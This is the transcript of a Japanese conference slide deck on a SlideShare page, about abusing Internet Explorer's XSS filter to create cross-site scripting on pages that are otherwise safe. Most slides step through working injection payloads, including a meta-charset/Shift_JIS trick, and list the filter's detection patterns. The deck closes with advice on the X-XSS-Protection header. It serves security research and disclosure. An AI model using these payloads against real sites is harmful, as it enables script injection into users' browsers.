O slideshow foi denunciado.
Seu SlideShare está sendo baixado. ×

XSSフィルターを利用したXSS攻撃 by Masato Kinugawa

Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Anúncio
Carregando em…3
×

Confira estes a seguir

1 de 84 Anúncio

XSSフィルターを利用したXSS攻撃 by Masato Kinugawa

Baixar para ler offline

MicrosoftのWebブラウザ、Internet Explorer/EdgeにはXSS攻撃からユーザーを保護するためのXSSフィルターという機能が搭載されている。XSSフィルターは、リクエストにXSS攻撃らしき文字列があり、ページ内にそれに対応する文字列が出力されている場合に、ページ内の対応する文字列の一部を書き換えることによりユーザーを保護する。この書き換え動作は安全に行われているのだろうか?答えはNoだ。今回私は、XSS脆弱性のないありふれたページで、XSSフィルターの動作を利用することで、保護するどころかXSS脆弱性を作り出すことができる手法を発見した。本講演では、XSSフィルターを利用したXSS攻撃の可能性について技術的な詳細を述べるとともに、サイト管理者はこのXSSフィルターの悪夢とどう向き合うべきかについて提案する。

MicrosoftのWebブラウザ、Internet Explorer/EdgeにはXSS攻撃からユーザーを保護するためのXSSフィルターという機能が搭載されている。XSSフィルターは、リクエストにXSS攻撃らしき文字列があり、ページ内にそれに対応する文字列が出力されている場合に、ページ内の対応する文字列の一部を書き換えることによりユーザーを保護する。この書き換え動作は安全に行われているのだろうか?答えはNoだ。今回私は、XSS脆弱性のないありふれたページで、XSSフィルターの動作を利用することで、保護するどころかXSS脆弱性を作り出すことができる手法を発見した。本講演では、XSSフィルターを利用したXSS攻撃の可能性について技術的な詳細を述べるとともに、サイト管理者はこのXSSフィルターの悪夢とどう向き合うべきかについて提案する。

Anúncio
Anúncio

Mais Conteúdo rRelacionado

Diapositivos para si (20)

Mais de CODE BLUE (20)

Anúncio

Mais recentes (20)

XSSフィルターを利用したXSS攻撃 by Masato Kinugawa

  1. 1. X-XSS-Nightmare: 1; mode=attack XSSフィルターを 利用したXSS攻撃 (自重版) Masato Kinugawa
  2. 2. 自己紹介 Masato Kinugawa
  3. 3. 自己紹介 Masato Kinugawa x s
  4. 4. 自己紹介 Masato Kinugawa x s B
  5. 5. バグハンターの愉しみ 自己紹介
  6. 6. 話すこと IEのXSSフィルターを使って ❶XSSする手法 ❷XSSフィルターをバイパスする手法
  7. 7. 話すこと IEのXSSフィルターを使って ❶XSSする手法 ❷XSSフィルターをバイパスする手法 ごめんなさい、変更します!
  8. 8. 話すこと XSSフィルターがどういうものか XSSフィルターとどう付き合うべきか
  9. 9. XSSフィルター Internet Explorer 8から導入(2009) Chrome/Safariにも同様の機能 ➡今回はIEのフィルターを取り上げる
  10. 10. IEのXSSフィルター基本 http://example.com/?q=<img+src=x+onerror=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> q param is: <img src=x onerror=alert(1)> </body> </html> リクエストの値とレスポンスから、危険と判断 される条件にマッチすればページを書き換える 遮断前
  11. 11. こんなふうに# http://example.com/?q=<img+src=x+onerror=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> q param is: <img src=x #nerror=alert(1)> </body> </html> 遮断後 リクエストの値とレスポンスから、危険と判断 される条件にマッチすればページを書き換える
  12. 12. XSSフィルターの不正確さ 条件にマッチすればユーザ入力の動的生成部と 無関係の位置にある文字列でも書き換えてしまう http://example.com/?q=AAA&<meta+charset= <!DOCTYPE html> <html> <head> <m#ta charset="utf-8"> </head> <body> q param is: AAA </body> </html>
  13. 13. XSSフィルター導入後の世界 ページの一部が書き換えられる可能性を すべてのサイトが突然持つことになった # # # 2008 2009
  14. 14. ちょっと変わるくらい # # # どうってことない? ➡どこか1バイト変わることが どういうことか考えてみよう!
  15. 15. http://example.com/?q=AAA <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="AAA".replace(/</g,'&lt;'); document.write(s); </script> </body> </html> 文字列リテラル内へ ユーザ入力を動的生成
  16. 16. http://example.com/?q="/</script <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s=""/</script".replace(/</g,'&lt;'); document.write(s); </script> </body> </html> XSS対策もOK
  17. 17. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  18. 18. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  19. 19. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  20. 20. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  21. 21. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  22. 22. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  23. 23. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  24. 24. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  25. 25. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html> &lt;svg/onload=alert(1)>
  26. 26. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <scr#pt> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  27. 27. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <scr#pt> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  28. 28. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <scr#pt> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  29. 29. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/#/g,'&lt;'); document.write(s); </script> </body> </html>
  30. 30. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/#/g,'&lt;'); document.write(s); </script> </body> </html>
  31. 31. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/#/g,'&lt;'); document.write(s); </script> </body> </html>
  32. 32. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/#/g,'&lt;'); document.write(s); </script> </body> </html>
  33. 33. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/#/g,'&lt;'); document.write(s); </script> </body> </html>
  34. 34. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/#/g,'&lt;'); document.write(s); </script> </body> </html>
  35. 35. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/#/g,'&lt;'); document.write(s); </script> </body> </html> <svg/onload=alert(1)>
  36. 36. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="<svg/onload=alert(1)>".replace(/#/g,'&lt;'); document.write(s); </script> </body> </html> <svg/onload=alert(1)>
  37. 37. http://example.com/?q=</title><svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="</title><svg/onload=alert(1)>".replace(/</g,'&l t;'); document.write(s); </script> </body> </html>
  38. 38. http://example.com/?q=</title><svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</ti#le> </head> <body> <script> s="</title><svg/onload=alert(1)>".replace(/</g,'&l t;'); document.write(s); </script> </body> </html>
  39. 39. http://example.com/?q=</title><svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</ti#le> </head> <body> <script> s="</title><svg/onload=alert(1)>".replace(/</g,'&l t;'); document.write(s); </script> </body> </html>
  40. 40. http://example.com/?q=</title><svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</ti#le> </head> <body> <script> s="</title><svg/onload=alert(1)>".replace(/</g,'&l t;'); document.write(s); </script> </body> </html>
  41. 41. http://example.com/?q=</title><svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</ti#le> </head> <body> <script> s="</title><svg/onload=alert(1)>".replace(/</g,'&l t;'); document.write(s); </script> </body> </html>
  42. 42. http://example.com/?q=%E3%81%95";alert(1)// <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="さ";alert(1)//".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  43. 43. http://example.com/?q=%E3%81%95";alert(1)// <!DOCTYPE html> <html> <head> <m#ta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="さ";alert(1)//".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  44. 44. UTF-8の解釈 "さ";alert(1)//" 0xE3 0x81 0x95 0x5C UTF-8 さ Shift_JIS 縺 表
  45. 45. Shift_JISの解釈 "縺表";alert(1)//" 0xE3 0x81 0x95 0x5C UTF-8 さ Shift_JIS 縺 表
  46. 46. http://example.com/?q=%E3%81%95";alert(1)// <!DOCTYPE html> <html> <head> <m#ta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="縺表";alert(1)//".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  47. 47. http://example.com/?q=%E3%81%95";alert(1)// <!DOCTYPE html> <html> <head> <m#ta charset="utf-8"> <title>TEST</title> </head> <body> <script> s="縺表";alert(1)//".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  48. 48. つまり 1バイトの変更すらリスキー https://media.blackhat.com/bh-eu-10/presentations/Lindsay_Nava/BlackHat-EU- 2010-Lindsay-Nava-IE8-XSS-Filters-slides.pdf Universal XSS via IE8s XSS Filters 実際過去には XSSフィルターの書き換えだってそう、 慎重に行わないと逆に脆弱にもなる Eduardo Vela Nava & David Lindsay
  49. 49. 2015: 今は大丈夫? 実際の遮断規則が どれほどのものかみてみよう! XSSのないありふれた構造のページが XSSに脆弱になる複数のパターンを発見 大丈夫…ではなかった! これはさておき この件は適切に修正された後、公開予定
  50. 50. 遮断規則 特に文書化されていない ブラウザにロードされるdllのバイナリに遮断文字列が 正規表現で書かれているのが確認できる
  51. 51. <button value= <form> <textarea> <isindex> <input value= <option value= <embed src= <embed type= <iframe src= <frame src= <x:vmlframe src= <link href= <import implementation= <meta http-equiv= <meta charset= <a href <script src= <script xlink:href= <script href= <script> <applet> <object type= <object codetype= <object classid= <object code= <object data= <base href= <style>@i <style>:( <style>: <style>=( <style>=
  52. 52. <button value= <form> <textarea> <isindex> <input value= <option value= <embed src= <embed type= <iframe src= <frame src= <x:vmlframe src= <link href= <import implementation= <meta http-equiv= <meta charset= <a href <script src= <script xlink:href= <script href= <script> <applet> <object type= <object codetype= <object classid= <object code= <object data= <base href= <style>@i <style>:( <style>: <style>=( <style>=
  53. 53. <button value= <form> <textarea> <isindex> <input value= <option value= <embed src= <embed type= <iframe src= <frame src= <x:vmlframe src= <link href= <import implementation= <meta http-equiv= <meta charset= <a href <script src= <script xlink:href= <script href= <script> <applet> <object type= <object codetype= <object classid= <object code= <object data= <base href= <style>@i <style>:( <style>: <style>=( <style>=
  54. 54. <button va#ue= <fo#m> <texta#ea> <is#ndex> <input va#ue= <option va#ue= <em#ed src= <em#ed type= <if#ame src= <f#ame src= <x:vmlf#ame src= <li#k href= <im#ort implementation= <m#ta http-equiv= <m#ta charset= <a hr#f <script src= <script xlink:href= <script href= <script> <ap#let> <ob#ect type= <ob#ect codetype= <ob#ect classid= <ob#ect code= <ob#ect data= <ba#e href= <style>@i <style>:( <style>: <style>=( <style>= 遮断後
  55. 55. <button va#ue= <fo#m> <texta#ea> <is#ndex> <input va#ue= <option va#ue= <em#ed src= <em#ed type= <if#ame src= <f#ame src= <x:vmlf#ame src= <li#k href= <im#ort implementation= <m#ta http-equiv= <m#ta charset= <a hr#f <script src= <script xlink:href= <script href= <script> <ap#let> <ob#ect type= <ob#ect codetype= <ob#ect classid= <ob#ect code= <ob#ect data= <ba#e href= <style>@i <style>:( <style>: <style>=( <style>= 遮断後
  56. 56. http://example.com/?q=<svg/onload=alert(1)> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>TEST</title> </head> <body> <scr#pt> s="<svg/onload=alert(1)>".replace(/</g,'&lt;'); document.write(s); </script> </body> </html>
  57. 57. <a hr#f <m#ta charset= <li#k href= <script> DEMO❶ ❷ ❸ ❹
  58. 58. 感じてほしいこと 自サイトがどうなるかはフィルター次第 ➡そんなのブラウザのバグ? ブラウザがなんとかしてくれよ? 常に安全にページを書き換えることが できているとは言えない
  59. 59. そもそもあなたのページは どこか一部分が壊れても耐え得る作り になっていると断言できる?
  60. 60. フィルターがやれること 最大限に配慮しながらページを書き換える #
  61. 61. 実のところ 意図的に誤検知を生じさせて、 特定の機能を動作させないよ うにすることも、場合によっ ては可能です。(略) XSSフィ ルタの作者が、この種の危険 性を認識しつつもXSSフィル タを導入したのか(あるいは そうではないのか)、ちょっ と興味があります。 ブラウザ側も危険性を認識した上で導入 以下は6年前の寺田さんとはせがわさんのやりとり T.Teradaの日記より http://d.hatena.ne.jp/teracc/2 0090622
  62. 62. 実のところ ブラウザ側も危険性を認識した上で導入 以下は6年前の寺田さんとはせがわさんのやりとり http://b.hatena.ne.jp/entry/14131603/comment/hasegawayosuke 中の人は "The answer is Yes. " だそうです。 はせがわさんのはて なブックマークの コメントより ➡Web開発者が危険の面倒をみながら使えばいい?
  63. 63. 面倒をみるとは ✔ XSSフィルターの遮断動作を全て把握 ✔ 部分的に書き換わっても安全に動作すること を全てのページで検証 ✔ 危険な部分は逐一コードを書き直して回避 つまり次を行うこと: できそうですか?
  64. 64. 遮断文字列の一例 javascript:1 vbscript:1 vbs:1
  65. 65. 遮断文字列の一例 javasc#ipt:1 v#script:1 v#s:1 シンプル?
  66. 66. javascript:リンクの遮断の詳細 {(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0 *(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|( 41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;) |(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&( ([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[ ].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)| A|D);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73) );?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))) )*(c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0 *(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|( 52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab; )|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69));?))([t]|(& (([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[ ].]x?0*((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10 )|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((84)|(54)|(116)|(7 4));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;) )))*(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).}
  67. 67. javascript:リンクの遮断の詳細 {(j|(&[#()[].]x?0*((74)|(4A)|(106)|(6A));?))([t]|(&(([#()[].]x?0 *(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[].]x?0*((65)|( 41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;) |(newline;))))*(v|(&[#()[].]x?0*((86)|(56)|(118)|(76));?))([t]|(&( ([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(a|(&[#()[ ].]x?0*((65)|(41)|(97)|(61));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)| A|D);?)|(tab;)|(newline;))))*(s|(&[#()[].]x?0*((83)|(53)|(115)|(73) );?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))) )*(c|(&[#()[].]x?0*((67)|(43)|(99)|(63));?))([t]|(&(([#()[].]x?0 *(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(r|(&[#()[].]x?0*((82)|( 52)|(114)|(72));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab; )|(newline;))))*(i|(&[#()[].]x?0*((73)|(49)|(105)|(69));?))([t]|(& (([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;))))*(p|(&[#()[ ].]x?0*((80)|(50)|(112)|(70));?))([t]|(&(([#()[].]x?0*(9|(13)|(10 )|A|D);?)|(tab;)|(newline;))))*(t|(&[#()[].]x?0*((84)|(54)|(116)|(7 4));?))([t]|(&(([#()[].]x?0*(9|(13)|(10)|A|D);?)|(tab;)|(newline;) )))*(:|(&(([#()[].]x?0*((58)|(3A));?)|(colon;)))).} http://masatokinugawa.l0.cm/2012/09/xss3.html
  68. 68. これができるなら ✔ XSSフィルターの遮断動作を全て把握 ✔ 部分的に書き換わっても安全に動作すること を全てのページで検証 ✔ 危険な部分は逐一コードを書き直して回避 自分のサイトのXSS全部潰せるのでは… ➡じゃあどうするのがいいか?
  69. 69. X-XSS-Protectionヘッダ 値 効果 0 無効 1 有効 (部分的書き換え) 1;mode=block 有効 (表示の完全な停止) デフォルト XSS保護機能を制御できるレスポンスヘッダ
  70. 70. Y 慎重な彼らはどうしている?
  71. 71. HTTP/2.0 200 OK Date: Mon, 19 Oct 2015 22:32:06 GMT Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: gws X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN ...
  72. 72. HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html Date: Mon, 19 Oct 2015 22:40:37 GMT x-content-type-options: nosniff X-Frame-Options: DENY X-XSS-Protection: 0 ...
  73. 73. ちゃっかり制御している!!
  74. 74. より安全を考えた選択 値 選択すべきサイト 0 基本的なXSSは対応している /誤検知をなくしたい 1 推奨しない (発見した手法の影響を受けるのもココ) 1;mode =block XSSがまだありそう /念のため保護も受けたい default X-XSS-Protection:0 か 1;mode=block
  75. 75. mode=blockなら安全? 直接スクリプト実行に繋がることはないはず フィルターの恩恵の方が大きいと僕は考える 遮断時の特徴を外から検出できれば ページ内容を推測できる可能性はありうる この可能性はゼロにはできないだろう 一方で
  76. 76. Web開発者の声 僕 開 1;mode=blockに変更したら どうだろう?
  77. 77. Web開発者の声 僕 開 1;mode=blockに変更したら どうだろう? 遮断時の説明が不親切で、 誤検知時のユーザ対応を考える と厳しい…。
  78. 78. 遮断時の説明が不親切 確かに…
  79. 79. Web開発者の声 基本的なXSS対策はできていると思うし、 X-XSS-Protection:0にしては? 僕 開
  80. 80. Web開発者の声 基本的なXSS対策はできていると思うし、 X-XSS-Protection:0にしては? 僕 製品動作を優先して不適切に セキュリティ機能を切っていると 思われる可能性が。 開
  81. 81. XSSフィルターの罠 攻撃箇所だけ遮断して残りは表示してくれる のが一番スマートにみえてしまう 0 1 block この動作がリスクそのもの
  82. 82. さいごに まだ安全側に倒す余地はあるはず デフォルト動作が今のままで本当にいいのか 遮断の原理上、リスクはつきもの Web開発者はその可能性を知ってほしい デフォルト動作以外で制御することを強く推奨 XSSフィルターの改善には期待したい
  83. 83. http://l0.cm/xxn/ 本当のNightmareは 以下で後日公開 エル ゼロ
  84. 84. ";alert#"Thanks!"#// @kinugawamasato masatokinugawa@gmail#com

×